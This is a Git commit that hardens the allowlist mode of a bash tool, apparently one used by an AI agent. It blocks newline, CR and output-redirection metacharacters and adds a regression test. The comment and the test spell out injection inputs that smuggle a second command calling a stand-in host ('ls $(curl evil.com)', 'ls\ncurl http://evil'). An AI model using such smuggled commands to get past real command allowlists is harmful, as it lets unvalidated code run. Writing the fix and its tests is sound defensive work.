fix(bash): reject real newline/CR and redirection in allowlist mode (S1)
This commit is contained in:
1 parent
a5f21d3a2c
commit
7f0c3fd23d
2 files changed
+43
-3
No files matched your search
+8
-3
@@ -192,9 +192,14 @@ func (t *BashTool) Execute(ctx context.Context, input json.RawMessage) (tool.Too
|
||||
case "deny":
|
||||
return tool.ToolResult{Error: "bash execution is disabled by policy"}, nil
|
||||
case "allowlist":
|
||||
// Block shell metacharacters that can execute arbitrary code
|
||||
// inside an otherwise-allowed command (e.g. ls $(curl evil.com))
|
||||
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\\n"} {
|
||||
// Block shell metacharacters that can execute arbitrary code or
|
||||
// write files inside an otherwise-allowed command. Covers command
|
||||
// substitution (e.g. ls $(curl evil.com)), real newline/CR bytes
|
||||
// (bash -c treats them as command separators, so trailing lines
|
||||
// would run unvalidated), and output redirection (">" matches ">",
|
||||
// ">>", "2>", "&>", "2>&1" — all write/overwrite primitives).
|
||||
// Input redirection "<" is intentionally allowed (not a write/exec bypass).
|
||||
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\n", "\r", ">"} {
|
||||
if strings.Contains(in.Command, meta) {
|
||||
return tool.ToolResult{Error: "command contains shell metacharacters not allowed in allowlist mode"}, nil
|
||||
}
|
||||
|
||||
@@ -177,3 +177,38 @@ func TestResolveExistingPath(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowlist_RejectsNewlineCRAndRedirection(t *testing.T) {
|
||||
allow := []string{"ls", "echo", "cat"}
|
||||
const metaMsg = "shell metacharacters not allowed"
|
||||
|
||||
// The live exploit: a real newline runs a second, unvalidated line.
|
||||
if got := runAllowlist(t, allow, "ls\ncurl http://evil"); !strings.Contains(got, metaMsg) {
|
||||
t.Fatalf("newline bypass: expected metacharacter rejection, got %q", got)
|
||||
}
|
||||
// Carriage return likewise.
|
||||
if got := runAllowlist(t, allow, "ls\rcurl http://evil"); !strings.Contains(got, metaMsg) {
|
||||
t.Fatalf("CR bypass: expected metacharacter rejection, got %q", got)
|
||||
}
|
||||
// Redirection write-primitive (allowed cmd overwriting a file).
|
||||
if got := runAllowlist(t, allow, "echo hi > /tmp/s1_x"); !strings.Contains(got, metaMsg) {
|
||||
t.Fatalf("redirection > not rejected, got %q", got)
|
||||
}
|
||||
if got := runAllowlist(t, allow, "echo hi >> /tmp/s1_x"); !strings.Contains(got, metaMsg) {
|
||||
t.Fatalf("append redirection >> not rejected, got %q", got)
|
||||
}
|
||||
// fd redirection also contains '>' so it is caught too.
|
||||
if got := runAllowlist(t, allow, "cat a 2>&1"); !strings.Contains(got, metaMsg) {
|
||||
t.Fatalf("fd redirection 2>&1 not rejected, got %q", got)
|
||||
}
|
||||
// Sanity: a plain allowed command still passes the policy gate.
|
||||
if got := runAllowlist(t, allow, "ls -l"); got != "" {
|
||||
t.Fatalf("plain allowed command wrongly rejected: %q", got)
|
||||
}
|
||||
// Sanity: input redirection '<' is NOT blocked (deliberate scope boundary);
|
||||
// cat is allowed so policy permits it (it may still fail at runtime if the
|
||||
// file is missing, but it must NOT be a policy rejection).
|
||||
if got := runAllowlist(t, allow, "cat < /etc/hostname"); strings.Contains(got, "metacharacters") || strings.Contains(got, "not in the exec allowlist") {
|
||||
t.Fatalf("input redirection wrongly rejected by policy: %q", got)
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user